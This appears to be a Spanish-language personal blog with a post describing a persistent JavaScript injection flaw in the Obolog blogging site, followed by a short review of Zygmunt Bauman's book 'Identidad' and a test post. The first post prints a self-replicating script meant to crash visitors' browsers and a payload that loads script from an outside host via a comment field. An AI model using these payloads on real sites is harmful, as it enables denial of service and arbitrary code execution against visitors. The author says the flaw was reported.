Dependiendo del caso se pueden hacer pocas cosas o muchas y generalmente hay restricciones de espacio y de cosas dadas por el dominio cambios en el dominio (www.foo.com en vez de foo.com), no se puede leer información de otros dominios, sí enviar.

En mi caso particular encontré una inyección de JavaScript en un sitio web de blogs, llamado Obolog. Mi idea era ver si es posible hacer un worm que no use informacion de usuario logueados, sino que replique solamente usando los comentarios de los blogs. Como solamente se pueden inyectar 256 carácteres lo único que pude hacer es un GET e imprimirlo para lograr un comentario anónimo persistente que hace que la página se autoreplique en el browser. es decir DoS (denial of service) del cliente. Esta falla ya fue reportada, con suerte será reparada en breve.

Si uno quiere meter esta mini-bomba JavaScript en un comentario de pablito.obolog.com/nombre-del-post-34543534 hay que meter en la parte del GET del siguiente código (compactado para que ocupe menos espacio) precedido por comillas dobles " para escapar del campo:

<script>
function p()
{
if(R.readyState==4)
{
    for(i=0;i<2;i++)
        document.write(R.responseText)
}
var R=new XMLHttpRequest();
R.onreadystatechange=p;
R.open('GET','/nombre-del-post-34543534',true);
R.send(null)
</script>

El efecto es que cuando el comentario esta cargado y se mira la página entonces la página pide otra copia de si misma al servidor y la imprime, siendo la copia (que incluye el código JavaScript) evaluada nuevamente de manera recursiva. La página se imprime dos veces para tratar de lograr un efecto exponencial, sin mucho exito creo.

Si la inyección puede ser mostrada en la página principal se puede meter '/' en la página y tener una bomba más genérica.

Ver el resultado en este comentario.

Como me ilustra mi amigo aurelianito, en realidad se puede hacer mucho más porque se puede incluir un archivo JavaScript completo de otro dominio usando algun truco básico como. Se nota que soy super lamer.

"><script src=http://subdom.site.com/js.js></script><noscript>

Entonces la cuestión se pone mucho más peligrosa ahora. El truco este del src fue extraido del artículo Anatomy of a "Pseudo-Reflective" Worm.

Identidad, de Zygmunt Bauman

2008-03-29T19:22:00.000-07:00

Voy a comentar brevemente este libro de filosofía escrito por un sociólogo polaco/británico que acabo de leer (1ra edición, Buenos Aires: Losada 2005).

La verdad me gusto bastante. Esta escrito en forma de entrevista, la preguntas son fórmuladas por Benedetto Vecchi desde Italia, por correo, y son respondidas por Bauman extensamente.

La verdad no le tenía mucha fe porque es bastante posmoderno como filosófo, es decir, desconfía de la ciencia y de la técnica, y tiene un pulso más bien literario o pseudo-filosófico que filosófico. Pero en general la preguntas del entrevistador trataron de ser concisas, incidiendo sobre la temática de las naciones, estados, identidades y globalización.

Sospecho que las respuestas tienen cierto tratamiento estándar filosófico posmoderno de ciertos temas, como por ejemplo, decir que los individuos en los tiempos que corren se ven en una acelerada alienación frente a la necesidad de competir para ser exitosos/sobrevivir. Después hace también una crítica a los militantes anti-globalización cuando dice que no se pueden fabricar soluciones locales a un problema global, contradiciendo el lema de los mismos. A pesar de todo esto, se nota que me sorprendieron en el buen sentido muchas cosas porque no estoy familiarizado con los posmodernos. Es interesante, el análisis que hace de la guerra de Yugoslavia como una situación de el desmembramiento de un país generó una guerra de etnias que buscaron identificarse que algo ante el vació de identidad imperante en ese momento. Finalmente un extracto curioso donde nombra al Silicon Valley, acerca de las instituciones y la pertenencia:

Al mismo tiempo, si la duración promedio de un contrato laboral ("proyecto") en las unidades de alta tecnología más avanzadas de lugares tan admirados como Silicon Valley es de ocho meses, esa solidaridad de grupo que solía proporcionar el caldo de cultivo de la democracia no tiene tiempo de hechar raíces ni de madurar. Hay pocos motivos para esperar reciprocidad en la lealtad que uno profesa a un grupo o a una organización. Es poco aconsejable ("irracional") brindar semejante lealtad a crédito cuando es improbable que le paguen a uno con la misma moneda.

Test

2008-01-03T12:08:00.000-08:00

Hello world!